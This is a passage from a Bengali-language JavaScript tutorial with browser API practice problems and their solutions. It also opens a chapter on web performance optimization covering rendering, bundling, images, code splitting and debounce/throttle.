await navigator.clipboard.writeText("Hello");

// Notification
await Notification.requestPermission();

// Intersection
new IntersectionObserver(callback);

// DOM mutation
new MutationObserver(callback);

// Resize
new ResizeObserver(callback);

// File
input.files[0];

// FileReader
new FileReader();

// Blob
new Blob(["Hello"]);

// Object URL
URL.createObjectURL(file);

// Worker
new Worker("worker.js");

// Broadcast
new BroadcastChannel("channel");

// IndexedDB
indexedDB.open("Database");

// WebSocket
new WebSocket("wss://example.com");

// Share
navigator.share({...});

// Visibility
document.visibilityState;

// Wake Lock
navigator.wakeLock.request("screen");

// Permissions
navigator.permissions.query({...});
32.Lab 📝 Hands-On Practice Lab — 15 Browser API Challenges & Full Model Solutions

রিয়েল-ওয়ার্ল্ড ব্রাউজার এপিআই দক্ষতায় পূর্ণাঙ্গ পারদর্শিতা অর্জন করতে ১৫টি ইন্টারভিউ প্রবলেমের সমাধান:

Practice 1: URL Hostname Extraction Beginner

❓ বর্তমান ব্রাউজার URL থেকে hostname বের করার নিরাপদ উপায় কী?

Practice 1 ImplementationJAVASCRIPT
// Method 1: Using window.location directly
const host1 = window.location.hostname; // e.g. "developer.mozilla.org"

// Method 2: Using the modern URL API for any string
const parsedUrl = new URL("https://github.com/Shariar-Ahamed/Note-Book?tab=readme");
console.log(parsedUrl.hostname); // "github.com"
console.log(parsedUrl.pathname); // "/Shariar-Ahamed/Note-Book"
▶ CONSOLE / EVENT OUTPUTOutput
github.com
🔍 Model Architecture & Solution Breakdown:
১. 'window.location.hostname' প্রোপার্টি দিয়ে বর্তমান পেজের ডোমেইন বা আইপি পাওয়া যায়। ২. যেকোনো ডায়নামিক URL স্ট্রিং পার্স করার জন্য 'new URL(urlString)' সবচেয়ে নিরাপদ ও আদর্শ মেকানিজম।
Practice 2: URL Query Parameter Parsing with URLSearchParams Beginner

❓ URL থেকে 'id' কুয়েরি প্যারামিটার কীভাবে সহজে বের করবে?

Practice 2 ImplementationJAVASCRIPT
const searchParams = new URLSearchParams(window.location.search);
// Example URL: https://site.com/products?id=42&category=laptops

if (searchParams.has("id")) {
    const productId = searchParams.get("id");
    console.log("Found Product ID:", productId); // "42"
}
▶ CONSOLE / EVENT OUTPUTOutput
Found Product ID: 42
🔍 Model Architecture & Solution Breakdown:
১. 'new URLSearchParams(window.location.search)' দিয়ে ব্রাউজারের সার্চ স্ট্রিং তাৎক্ষণিকভাবে ম্যাপে কনভার্ট হয়। ২. '.get("id")' দিয়ে সরাসরি ভ্যালু পাওয়া যায় এবং '.has("id")' দিয়ে উপস্থিতি চেক করা যায়।
Practice 3: Async Clipboard API One-Click Copy Button Beginner

❓ আধুনিক ব্রাউজারে একটি সুরক্ষিত ও অ্যাসিঙ্ক কপি বাটন কীভাবে তৈরি করবে?

Practice 3 ImplementationJAVASCRIPT
async function copyToClipboard(textToCopy) {
    try {
        await navigator.clipboard.writeText(textToCopy);
        console.log("Copied to clipboard successfully!");
    } catch (err) {
        console.error("Clipboard permission denied or error:", err);
    }
}

// User trigger:
document.querySelector("#copyBtn").addEventListener("click", () => {
    copyToClipboard("npm install antigravity-ide");
});
▶ CONSOLE / EVENT OUTPUTOutput
Copied to clipboard successfully!
🔍 Model Architecture & Solution Breakdown:
১. 'navigator.clipboard.writeText()' একটি প্রমিজ রিটার্ন করে এবং ব্যাকগ্রাউন্ডে নন-ব্লকিংভাবে কাজ করে। ২. সিকিউরিটি নোট: এটি কেবল HTTPS এবং ইউজার ইন্টারঅ্যাকশন (click gesture)-এর ভেতরেই কাজ করতে পারে।
Practice 4: Local Image File Preview with FileReader Beginner

❓ ইউজার ইমেজ ফাইল আপলোড করলে তা সার্ভারে না পাঠিয়ে লোকাল প্রিভিউ কীভাবে দেখাবে?

Practice 4 ImplementationJAVASCRIPT
const fileInput = document.querySelector("#imageInput");
const previewImg = document.querySelector("#preview");

fileInput.addEventListener("change", (e) => {
    const file = e.target.files[0];
    if (file && file.type.startsWith("image/")) {
        const reader = new FileReader();
        reader.onload = (event) => {
            previewImg.src = event.target.result; // Base64 DataURL
        };
        reader.readAsDataURL(file);
    }
});
▶ CONSOLE / EVENT OUTPUTOutput
data:image/png;base64,iVBORw0KGgo...
🔍 Model Architecture & Solution Breakdown:
১. 'e.target.files[0]' দিয়ে File অবজেক্ট পাওয়া যায়। ২. 'FileReader'-এর 'readAsDataURL()' মেথড ইমেজটিকে Base64 স্ট্রিংয়ে রূপান্তর করে ইমেজ ট্যাগের src-তে বসিয়ে দেয়।
Practice 5: Web Notifications API Permission & Trigger Beginner

❓ ইউজারের অনুমতি নিয়ে কীভাবে ব্রাউজার নোটিফিকেশন পাঠাবে?

Practice 5 ImplementationJAVASCRIPT
async function triggerDesktopNotification(title, message) {
    if (!("Notification" in window)) return;
    
    let perm = Notification.permission;
    if (perm === "default") {
        perm = await Notification.requestPermission();
    }
    
    if (perm === "granted") {
        new Notification(title, {
            body: message,
            icon: "/assets/bell.png"
        });
    }
}
▶ CONSOLE / EVENT OUTPUTOutput
Desktop Push Notification Displayed
🔍 Model Architecture & Solution Breakdown:
১. 'Notification.requestPermission()' ইউজারের কাছে প্রোম্পট দেখায় ('granted', 'denied', বা 'default')। ২. অনুমতি থাকলে 'new Notification(title, options)' কল করে সিস্টেম নোটিফিকেশন প্রদর্শন করা যায়।
Practice 6: High-Performance Lazy Image Loader with IntersectionObserver Intermediate

❓ স্ক্রল ইভেন্ট লিসেনার ছাড়া শুধুমাত্র IntersectionObserver দিয়ে ইমেজ লেজি লোড কীভাবে করবে?

Practice 6 ImplementationJAVASCRIPT
const observer = new IntersectionObserver((entries, obs) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            const img = entry.target;
            img.src = img.dataset.src; // Swap placeholder with real image
            img.classList.add("loaded");
            obs.unobserve(img); // Disconnect after load to save resources
        }
    });
}, { threshold: 0.1 });

document.querySelectorAll("img.lazy").forEach(img => observer.observe(img));
▶ CONSOLE / EVENT OUTPUTOutput
Zero-Lag Lazy Loading Active (Images load as they enter viewport)
🔍 Model Architecture & Solution Breakdown:
১. IntersectionObserver ব্রাউজারের ইন্টারনাল রেন্ডারিং থ্রেডে চলে, ফলে স্ক্রল ইভেন্টের মতো মেইন থ্রেড ব্লক করে না। ২. ইমেজ ভিউপোর্টে আসামাত্র 'entry.isIntersecting' সত্য হয়; ডেটাসেট থেকে আসল URL বসিয়ে 'unobserve()' কল করে ক্লিনআপ করা হয়।
Practice 7: DOM Tree Mutation Tracking with MutationObserver Intermediate

❓ কোনো এলিমেন্টে নতুন চাইল্ড নোড যুক্ত বা মুছে ফেলা হলে তা কীভাবে ট্র্যাক করবে?

Practice 7 ImplementationJAVASCRIPT
const targetContainer = document.querySelector("#chatBox");

const observer = new MutationObserver((mutations) => {
    mutations.forEach(mutation => {
        if (mutation.type === "childList") {
            console.log("Nodes added:", mutation.addedNodes.length);
            console.log("Nodes removed:", mutation.removedNodes.length);
        }
    });
});

observer.observe(targetContainer, { childList: true, subtree: true });
▶ CONSOLE / EVENT OUTPUTOutput
Nodes added: 1 | Chat Auto-Scrolled
🔍 Model Architecture & Solution Breakdown:
১. MutationObserver পুরানো ডিপ্রিকেটেড Mutation Events-এর তুলনায় হাজার গুণ দ্রুত ও পারফরম্যান্ট। ২. 'childList: true' এবং 'subtree: true' অপশন দিয়ে যেকোনো নেস্টেড চাইল্ড পরিবর্তনের ব্যাচ রেসপন্স পাওয়া যায়।
Practice 8: Responsive Container Sizing with ResizeObserver Intermediate

❓ উইন্ডো রিসাইজ ছাড়াই নির্দিষ্ট কোনো কার্ড বা ডিভাইসের সাইজ পরিবর্তন কীভাবে মনিটর করবে?

Practice 8 ImplementationJAVASCRIPT
const card = document.querySelector(".resizable-card");

const resizeObserver = new ResizeObserver((entries) => {
    for (let entry of entries) {
        const { width, height } = entry.contentRect;
        card.querySelector(".size-label").textContent = `${Math.round(width)}px × ${Math.round(height)}px`;
    }
});

resizeObserver.observe(card);
▶ CONSOLE / EVENT OUTPUTOutput
Real-time dimensions: 320px × 180px
🔍 Model Architecture & Solution Breakdown:
১. ResizeObserver সরাসরি এলিমেন্টের 'contentRect' প্রদান করে। ২. এটি আধুনিক Container Queries এবং রেসপনসিভ কম্পোনেন্ট ডিজাইনের জন্য সর্বোত্তম।
Practice 9: Drag and Drop File Dropzone Uploader Intermediate

❓ ব্রাউজারে একটি ড্র্যাগ অ্যান্ড ড্রপ ফাইল ড্রপজোন কীভাবে তৈরি করবে?

Practice 9 ImplementationJAVASCRIPT
const dropzone = document.querySelector("#dropzone");

dropzone.addEventListener("dragover", (e) => {
    e.preventDefault(); // Required to allow drop!
    dropzone.classList.add("drag-active");
});

dropzone.addEventListener("dragleave", () => {
    dropzone.classList.remove("drag-active");
});

dropzone.addEventListener("drop", (e) => {
    e.preventDefault();
    dropzone.classList.remove("drag-active");
    
    const files = e.dataTransfer.files;
    console.log("Dropped files count:", files.length);
    handleFileUpload(files[0]);
});
▶ CONSOLE / EVENT OUTPUTOutput
Dropped files count: 1 | Upload triggered
🔍 Model Architecture & Solution Breakdown:
১. 'dragover' ইভেন্টে 'e.preventDefault()' কল করা বাধ্যতামূলক, নইলে ব্রাউজার ডিফল্টভাবে ফাইলটি ওপেন করে ফেলে। ২. 'e.dataTransfer.files' দিয়ে সরাসরি ড্রপ করা ফাইলগুলোর লিস্ট অ্যাক্সেস করা যায়।
Practice 10: Multi-Tab State Synchronization with BroadcastChannel Intermediate

❓ একই অ্যাপ্লিকেশনের দুটি ওপেন ট্যাবের মধ্যে কীভাবে লাইভ মেসেজ পাস করবে?

Practice 10 ImplementationJAVASCRIPT
// Run this code in Tab 1 and Tab 2:
const authChannel = new BroadcastChannel("auth_sync_channel");

// Tab 2 (Sender): When user logs out
function logoutUser() {
    authChannel.postMessage({ type: "LOGOUT", timestamp: Date.now() });
}

// Tab 1 (Listener): Auto logout
authChannel.onmessage = (event) => {
    if (event.data.type === "LOGOUT") {
        console.log("User logged out in another tab! Redirecting to login...");
        window.location.reload();
    }
};
▶ CONSOLE / EVENT OUTPUTOutput
User logged out in another tab! Redirecting to login...
🔍 Model Architecture & Solution Breakdown:
১. BroadcastChannel একই অরিজিনের সব উইন্ডো, ট্যাব এবং আইফ্রেমের মধ্যে নন-ব্লকিং ব্রডকাস্ট মেসেজিং নিশ্চিত করে। ২. সেশন সিঙ্ক, থিম চেঞ্জ বা শপিং কার্ট আপডেটের জন্য এটি localStorage ইভেন্টের চেয়ে শতভাগ ক্লিন।
Practice 11: Heavy Computation Offloading with Web Workers Advanced 🔥

❓ ভারী কোনো হিসাব মেইন থ্রেড ব্লক না করে কীভাবে Web Worker দিয়ে চালাবে?

Practice 11 ImplementationJAVASCRIPT
// main.js:
const worker = new Worker("heavy_worker.js");

worker.postMessage({ number: 45 }); // Offload heavy task
console.log("UI remains 100% responsive and silky smooth!");

worker.onmessage = (e) => {
    console.log("Calculation Result from Worker:", e.data.result);
};

// heavy_worker.js (Isolated background thread):
self.onmessage = (e) => {
    function fibonacci(n) {
        return n <= 1 ? n : fibonacci(n - 1) + fibonacci(n - 2);
    }
    const result = fibonacci(e.data.number);
    self.postMessage({ result });
};
▶ CONSOLE / EVENT OUTPUTOutput
UI remains 100% responsive! | Result: 1134903170
🔍 Model Architecture & Solution Breakdown:
১. Web Worker আলাদা OS থ্রেডে চলে, ফলে ভারী ম্যাথমেটিক্যাল ক্যালকুলেশন বা ইমেজ প্রসেসিং মেইন UI থ্রেডকে (60fps) কখনোই ফ্রিজ করে না। ২. এটি মেসেজ পাসিং ('postMessage') দিয়ে মেইন থ্রেডের সাথে যোগাযোগ করে।
Practice 12: Structured Storage with IndexedDB Advanced 🔥

❓ ব্রাউজারে বড় আকারের অবজেক্ট কীভাবে IndexedDB-তে স্টোর ও রিট্রিভ করবে?

Practice 12 ImplementationJAVASCRIPT
const req = indexedDB.open("OfflineStore", 1);

req.onupgradeneeded = (e) => {
    const db = e.target.result;
    db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });
};

req.onsuccess = (e) => {
    const db = e.target.result;
    const tx = db.transaction("notes", "readwrite");
    const store = tx.objectStore("notes");
    
    store.add({ title: "Master JS Notes", date: new Date().toISOString() });
    
    tx.oncomplete = () => console.log("Transaction saved to IndexedDB!");
};
▶ CONSOLE / EVENT OUTPUTOutput
Transaction saved to IndexedDB!
🔍 Model Architecture & Solution Breakdown:
১. IndexedDB একটি সম্পূর্ণ ট্রানজ্যাকশনাল NoSQL অবজেক্ট ডেটাবেস যা গিগাবাইট সাইজের ডেটা অফলাইনে ধরে রাখতে পারে। ২. এটি অ্যাসিনক্রোনাস হওয়ায় ব্রাউজার পারফরম্যান্স অক্ষুণ্ণ রাখে।
Practice 13: Real-Time Full-Duplex Chat Client with WebSockets Advanced 🔥

❓ সার্ভারের সাথে ফুল-ডুপ্লেক্স WebSocket কানেকশন কীভাবে হ্যান্ডল করবে?

Practice 13 ImplementationJAVASCRIPT
const socket = new WebSocket("wss://echo.websocket.events");

socket.onopen = () => {
    console.log("Connected to Real-time WebSocket Server!");
    socket.send(JSON.stringify({ text: "Hello from Client!" }));
};

socket.onmessage = (event) => {
    const msg = JSON.parse(event.data);
    console.log("Message received from Server:", msg.text);
};

socket.onerror = (err) => console.error("Socket error:", err);
socket.onclose = () => console.log("Socket connection terminated cleanly.");
▶ CONSOLE / EVENT OUTPUTOutput
Connected to WebSocket! | Message received: Hello from Client!
🔍 Model Architecture & Solution Breakdown:
১. WebSocket একটি স্থায়ী TCP কানেকশন তৈরি করে যাতে সার্ভার ও ক্লায়েন্ট উভয়ই যেকোনো সময় ডেটা পুশ করতে পারে। ২. এটি সাধারণ HTTP লং-পোলিংয়ের বিশাল ওভারহেড দূর করে সাব-মিলিমিটারে ডেটা ট্রান্সমিট করে।
Practice 14: Client-Side SPA Routing Engine with History API Advanced 🔥

❓ পেজ রিলোড ছাড়া History API দিয়ে সিঙ্গেল পেজ রাউটিং কীভাবে কাজ করে?

Practice 14 ImplementationJAVASCRIPT
function navigateTo(urlPath) {
    history.pushState({ path: urlPath }, "", urlPath);
    renderPage(urlPath);
}

window.addEventListener("popstate", (event) => {
    // Triggered when user presses Browser Back or Forward buttons!
    renderPage(window.location.pathname);
});

function renderPage(path) {
    console.log("Rendered SPA view for route:", path);
}
▶ CONSOLE / EVENT OUTPUTOutput
Rendered SPA view for route: /dashboard
🔍 Model Architecture & Solution Breakdown:
১. 'history.pushState()' ব্রাউজারের অ্যাড্রেস বার ও হিস্ট্রি ট্র্যাকে নতুন URL যোগ করে কোনো সার্ভার রিলোড ছাড়াই। ২. 'popstate' ইভেন্ট হ্যান্ডলার ব্রাউজারের Back/Forward বাটনের ন্যাভিগেশন নিখুঁতভাবে হ্যান্ডল করে।
Practice 15: Dynamic In-Memory File Generation & Download with Blob & Object URL Advanced 🔥

❓ সার্ভার ছাড়া ব্রাউজার মেমরিতে টেক্সট/JSON ফাইল বানিয়ে স্বয়ংক্রিয়ভাবে কীভাবে ডাউনলোড করাবে?

Practice 15 ImplementationJAVASCRIPT
function downloadJsonFile(dataObj, filename = "export.json") {
    const jsonStr = JSON.stringify(dataObj, null, 2);
    const blob = new Blob([jsonStr], { type: "application/json" });
    
    const downloadUrl = URL.createObjectURL(blob);
    const tempLink = document.createElement("a");
    tempLink.href = downloadUrl;
    tempLink.download = filename;
    
    document.body.appendChild(tempLink);
    tempLink.click();
    
    // Clean up memory
    document.body.removeChild(tempLink);
    URL.revokeObjectURL(downloadUrl);
    console.log("File downloaded & memory revoked cleanly.");
}
▶ CONSOLE / EVENT OUTPUTOutput
File downloaded & memory revoked cleanly.
🔍 Model Architecture & Solution Breakdown:
১. 'new Blob()' ক্লায়েন্ট-সাইড মেমরিতে বাইনারি ডেটা কন্টেইনার তৈরি করে। ২. 'URL.createObjectURL(blob)' একটি অস্থায়ী 'blob:http...' URL তৈরি করে যা লিঙ্কের ডাউনলোড হিসেবে কাজ করে। ৩. মেমরি লিক এড়াতে ডাউনলোড শেষে 'URL.revokeObjectURL()' কল করা প্রোডাকশন কোডের গোল্ডেন স্ট্যান্ডার্ড।
32.Map 🎯 Final Mental Map — Advanced Browser APIs Global Ecosystem

ব্রাউজার ফিচার, ভিউপোর্ট অবজারভার, ডেটা স্টোরেজ ও থ্রেডিং কমিউনিকেশনের সামগ্রিক মানচিত্র:

🌐 Browser APIs Global Architectural Coordination Tree
Browser APIs
                      
       ────────────────────────────
                                   
    Browser        DOM/View       Storage
    Features        APIs            
                                   
       Location    ─ Intersection IndexedDB
       Clipboard   ─ Mutation     ─ localStorage
       Notification─ Resize       ─ Cookies
       Share       
       History     
                      
                 File & Data
                      
              ───────────────
                             
           FileReader Blob   Object URL

                 Communication
                      
              ───────────────
                             
          WebSocket  Worker  Broadcast

                 Browser State
                      
              ───────────────
                             
          Visibility Permissions Wake Lock
🚀 Chapter 32-এর মূল দর্শন:
Browser API = JavaScript + Browser-এর extra capabilities। JavaScript কেবল সাধারণ ক্যালকুলেশন বা DOM ম্যানিপুলেশন নয়—লোকেশন ট্র্যাকিং, পুশ নোটিফিকেশন, ব্যাকগ্রাউন্ড মাল্টি-থ্রেডিং, জিগাবাইট স্টোরেজ ও রিয়েল-টাইম ফুল-ডুপ্লেক্স কমিউনিকেশনের মাধ্যমে পূর্ণাঙ্গ নেটিভ অ্যাপ সমতুল্য অভিজ্ঞতা দেয়।
🚀 Next Chapter Preview:
Chapter 33 — JavaScript Web Performance & Optimization
পরবর্তী চ্যাপ্টারে আমরা শিখব Critical Rendering Path, Repaint & Reflow, Debounce/Throttle, Code Splitting, Bundle Analysis, Memory Profiling এবং Web Vitals (LCP, FID/INP, CLS)।
Chapter 33
↑ Index
Web Performance Optimization — ওয়েব পারফরম্যান্স অপটিমাইজেশন
Total Modules
70 Modules + 12 Practice Labs
Curriculum Part
Part 27 — Web Performance
Core Metrics
LCP, INP, CLS, TTFB & 60 FPS
Reference Standard
W3C / Chrome Web Vitals 2026
Web Performance & Optimization — গতি, স্কেলাবিলিটি ও ইউজার সন্তুষ্টির মূল ভিত্তি

Web application শুধু কাজ করলেই আধুনিক ইঞ্জিনিয়ারিংয়ের দায়িত্ব শেষ হয় না—এটি যেন বিদ্যুৎ গতিতে লোড হয়, চোখের পলকে রেসপন্ড করে, ব্যাটারি ও মেমোরি সাশ্রয়ী হয় এবং মসৃণ ইউজার এক্সপেরিয়েন্স দেয়, সেটাই চূড়ান্ত লক্ষ্য। এই চ্যাপ্টারে আমরা Critical Rendering Path, Layout Thrashing, Debounce/Throttle, Lazy Loading, Code Splitting, Caching & CDN, Web Workers, Core Web Vitals (LCP, INP, CLS) এবং প্রোডাকশন অপ্টিমাইজেশন পদ্ধতি শিখব।

📌 1. CRP & DOM Flow
📌 2. Layout Thrashing
📌 3. Bundle & Tree Shake
📌 4. Modern Image Formats
📌 5. Dynamic Code Split
📌 6. Debounce & Throttle
📌 7. 60 FPS & rAF
📌 8. HTTP Cache & CDN
📌 9. Workers & Memory
📌 10. Core Web Vitals
Part 01 — Foundations of Web Performance & Page Load Lifecycle (33.1 – 33.5)
33.1 Web Performance কী?

Web Performance হলো একটি website/web application কত দ্রুত এবং efficiently user-এর জন্য কাজ করে তার সামগ্রিক পরিমাপ। সহজভাবে:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
User
 
Website Open
 
HTML Load
 
CSS Load
 
JavaScript Load
 
Content Render
 
User Interaction

এই পুরো process যত efficient হবে, website তত performant হবে।

33.2 কেন Performance গুরুত্বপূর্ণ?

ধরো দুইটি website:

🔹 Website A
⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Click
 
5 seconds wait
 
Result
🔹 Website B
⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Click
 
Fast response
 
Result

User সাধারণত দ্রুত feedback পাওয়া application-কে বেশি usable মনে করবে। Performance-এর প্রভাব পড়ে:

  • User Experience
  • Accessibility
  • Conversion
  • SEO
  • Mobile usability
  • Server cost
  • Battery usage
33.3 Performance-এর প্রধান তিনটি অংশ

একটি website performance broadly তিন ভাগে ভাবতে পারো:

⚡ NETWORK WATERFALL & CACHING PIPELINE
Web Performance
                       
          ────────────────────────
                                  
       Network       Browser       Server
                                  
       Download      Render       API/DB
       Assets        JS/CSS       Response
33.4 Performance Bottleneck কী?

Bottleneck হলো এমন অংশ যেটি পুরো system-এর performance আটকে দিচ্ছে। Example:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
HTML        100ms
CSS         200ms
JS          5 seconds
Image       300ms

এখানে JavaScript বড় bottleneck হতে পারে।

33.5 Page Load-এর Basic Flow

Browser সাধারণত:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
URL
 
DNS
 
Connection
 
HTTP Request
 
Server Response
 
HTML
 
Parse HTML
 
CSS/JS/Images
 
Render
 
Interaction

এখানে যেকোনো জায়গায় delay হতে পারে।

Part 02 — Critical Rendering Path, Layout, Paint & Layout Thrashing (33.6 – 33.15)
33.6 Critical Rendering Path

Browser-এর page render করার গুরুত্বপূর্ণ process:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
HTML
 
DOM
⚡ CRITICAL RENDERING PATH & BROWSER PIPELINE
CSS
 
CSSOM

তারপর:

⚡ CRITICAL RENDERING PATH & BROWSER PIPELINE
DOM + CSSOM
      
Render Tree
      
Layout
      
Paint
      
Composite
33.7 DOM

HTML থেকে browser তৈরি করে:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
HTML
 
DOM

Example:

HTML DOM MARKUPHTML
<h1>Hello</h1>
<p>World</p>

Conceptually:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Document
 ── h1
     ── "Hello"
 
 ── p
      ── "World"
33.8 CSSOM

CSS থেকে browser তৈরি করে:

⚡ CRITICAL RENDERING PATH & BROWSER PIPELINE
CSS
 
CSSOM

তারপর:

⚡ CRITICAL RENDERING PATH & BROWSER PIPELINE
DOM + CSSOM
 
Render Tree
33.9 Layout

Browser calculate করে:

  • width
  • height
  • position
  • spacing

এটি layout/reflow process-এর অংশ। Example:

JAVASCRIPT SourceJAVASCRIPT
element.style.width = "500px";

এতে layout recalculation প্রয়োজন হতে পারে।

33.10 Paint

Browser pixels আঁকে:

⚡ LAYOUT THRASHING VS BATCHED EXECUTION FLOW
Layout
 
Paint
 
Pixels

যেমন:

  • text
  • background
  • border
  • shadow
33.11 Composite

Browser বিভিন্ন layer combine করে final screen তৈরি করতে পারে।

⚡ CRITICAL RENDERING PATH & BROWSER PIPELINE
Painted Layers
     
Composite
     
Screen
33.12 Reflow / Layout

DOM বা CSS-এর কোনো change-এর কারণে layout আবার calculate করতে হলে তাকে সাধারণভাবে reflow/layout recalculation বলা হয়। Example:

JAVASCRIPT SourceJAVASCRIPT
box.style.width = "500px";
box.style.height = "300px";

অনেক layout-affecting changes করলে browser-এর কাজ বাড়তে পারে।

33.13 Repaint

কোনো visual property change হলে repaint হতে পারে। যেমন:

JAVASCRIPT SourceJAVASCRIPT
box.style.backgroundColor = "red";

সব property একইভাবে layout trigger করে না।

33.14 Layout Thrashing

এটি একটি common performance problem। ধরো:

JAVASCRIPT SourceJAVASCRIPT
const box = document.querySelector(".box");

for (let i = 0; i < 1000; i++) {
    box.style.width = i + "px";

    console.log(box.offsetWidth);
}

এখানে বারবার:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Write
 
Read layout
 
Write
 
Read layout

করার ফলে browser-কে repeated layout calculation করতে হতে পারে।

33.15 Better Approach

আগে values calculate:

JAVASCRIPT SourceJAVASCRIPT
const widths = [];

for (let i = 0; i < 1000; i++) {
    widths.push(i);
}

for (const width of widths) {
    box.style.width = width + "px";
}

আরও ভালো architecture/context অনুযায়ী batching বা CSS class ব্যবহার করা যায়।

Part 03 — DOM Batching, Bundle Size, Tree Shaking & Compression (33.16 – 33.22)
33.16 DOM Manipulation Optimize করা

❌ বারবার DOM change:

JAVASCRIPT SourceJAVASCRIPT
for (let i = 0; i < 1000; i++) {
    const p = document.createElement("p");
    p.textContent = `Item ${i}`;

    document.body.appendChild(p);
}

এটি সবসময় catastrophic নয়, কিন্তু বড় DOM-এর ক্ষেত্রে repeated mutation expensive হতে পারে।

33.17 DocumentFragment

একসাথে DOM তৈরি করে শেষে append করা যায়।

JAVASCRIPT SourceJAVASCRIPT
const fragment = document.createDocumentFragment();

for (let i = 0; i < 1000; i++) {

    const p = document.createElement("p");

    p.textContent = `Item ${i}`;

    fragment.appendChild(p);
}

document.body.appendChild(fragment);

Concept:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Create many elements
       
Fragment
       
One DOM insertion
33.18 JavaScript Bundle Size

ধরো:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
app.js = 5 MB

Browser-কে এটি download, parse এবং execute করতে হবে। অন্যদিকে:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
app.js = 200 KB

সাধারণত কম data transfer ও processing দরকার হবে। তাই:

💡 Smaller JavaScript is generally better.
33.19 Tree Shaking

Unused code বাদ দেওয়ার build optimization। Example:

JAVASCRIPT SourceJAVASCRIPT
export function add() {}
export function subtract() {}
export function multiply() {}

তুমি:

JAVASCRIPT SourceJAVASCRIPT
import { add } from "./math.js";

শুধু add() ব্যবহার করলে build tool unused export বাদ দেওয়ার সুযোগ পেতে পারে।

33.20 Minification

Source code ছোট করা। Before:

JAVASCRIPT SourceJAVASCRIPT
function calculateTotal(price, quantity) {
    return price * quantity;
}

Minified concept:

JAVASCRIPT SourceJAVASCRIPT
function calculateTotal(a,b){return a*b}

ফলে file size কমতে পারে।

33.21 Compression

Server/client data transfer-এর সময় compression ব্যবহার করা যায়। Common compression:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Gzip
Brotli

Concept:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Original File
   
Compression
   
Smaller Transfer
   
Browser
   
Decompression
33.22 Brotli

Modern web delivery-তে Brotli (br) compression commonly ব্যবহৃত হয়। বিশেষ করে text assets-এর জন্য:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
HTML
CSS
JS
JSON

compression size কমাতে সাহায্য করতে পারে।

Part 04 — Media & Image Optimization, Responsive & Lazy Loading (33.23 – 33.27)
33.23 Image Optimization

Website slow হওয়ার বড় কারণ image হতে পারে। ধরো:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
hero-image.png
= 8 MB

এটি unnecessary বড়। Optimize করা যায়:

  • resize
  • compression
  • responsive images
  • modern formats
  • lazy loading
33.24 Modern Image Formats

Common formats:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
JPEG
PNG
WebP
AVIF
SVG

যেমন photographic image-এর ক্ষেত্রে WebP/AVIF অনেক ক্ষেত্রে ছোট হতে পারে।

33.25 Responsive Images
HTML DOM MARKUPHTML
<img
    src="image-800.jpg"
    srcset="
        image-400.jpg 400w,
        image-800.jpg 800w,
        image-1200.jpg 1200w
    "
    sizes="(max-width: 600px) 400px, 800px"
    alt="Example"
>

Browser প্রয়োজন অনুযায়ী appropriate image resource নির্বাচন করতে পারে।

33.26 Lazy Loading

যে resource এখনই দরকার নেই, সেটি পরে load করা। Image:

HTML DOM MARKUPHTML
<img
    src="image.jpg"
    loading="lazy"
    alt="Example"
>

JavaScript-এর ক্ষেত্রেও code splitting/lazy import ব্যবহার করা যায়।

33.27 Eager vs Lazy
🔹 Eager
⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Page Load
 
Everything load
🔹 Lazy
⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Page Load
 
Only necessary content
 
User scroll/click
 
Additional content load
Part 05 — Code Splitting & Dynamic Imports (33.28 – 33.29)
33.28 JavaScript Dynamic Import

ES Modules-এ:

JAVASCRIPT SourceJAVASCRIPT
const module = await import("./heavy-module.js");

এটি code-এর একটি অংশ প্রয়োজন হলে load করতে সাহায্য করতে পারে।

33.29 Code Splitting

Large JavaScript application ভাগ করা:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
app.js
 
chunk-1.js
chunk-2.js
chunk-3.js

User যে feature ব্যবহার করবে তার প্রয়োজনীয় chunk load করা যেতে পারে। React application-এ:

JAVASCRIPT SourceJAVASCRIPT
const Dashboard = lazy(
    () => import("./Dashboard.jsx")
);

Conceptually:

⚡ DYNAMIC CODE SPLITTING & ROUTE LAZY LOADING
Initial Bundle
     
Small
     
User opens Dashboard
     
Dashboard chunk loads
Part 06 — Event Optimization: Debounce, Throttle & Passive Listeners (33.30 – 33.34)
33.30 Debouncing

Rapid events-এর মধ্যে user থামার পর function execute করা। ধরো search input:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
User types:
H
He
Hel
Hell
Hello

প্রতিটি keystroke-এ API call করলে:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
5 keystrokes

5 API requests

Debounce:

⚡ DEBOUNCE VS THROTTLE EXECUTION TIMELINE
User typing
 
Wait
 
User stops
 
One API request
⚡ Debounce implementation
JAVASCRIPT SourceJAVASCRIPT
function debounce(fn, delay) {

    let timer;

    return function (...args) {

        clearTimeout(timer);

        timer = setTimeout(() => {
            fn.apply(this, args);
        }, delay);
    };
}

Use:

JAVASCRIPT SourceJAVASCRIPT
const search = debounce((value) => {
    console.log("Searching:", value);
}, 500);
33.31 Throttling

Throttle নির্দিষ্ট সময়ের মধ্যে function execution limit করে। ধরো scroll event:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Scroll
Scroll
Scroll
Scroll
Scroll
Scroll

Throttle করলে:

⚡ DEBOUNCE VS THROTTLE EXECUTION TIMELINE
Execute
 
Wait
 
Execute
 
Wait
 
Execute
⚡ Throttle example
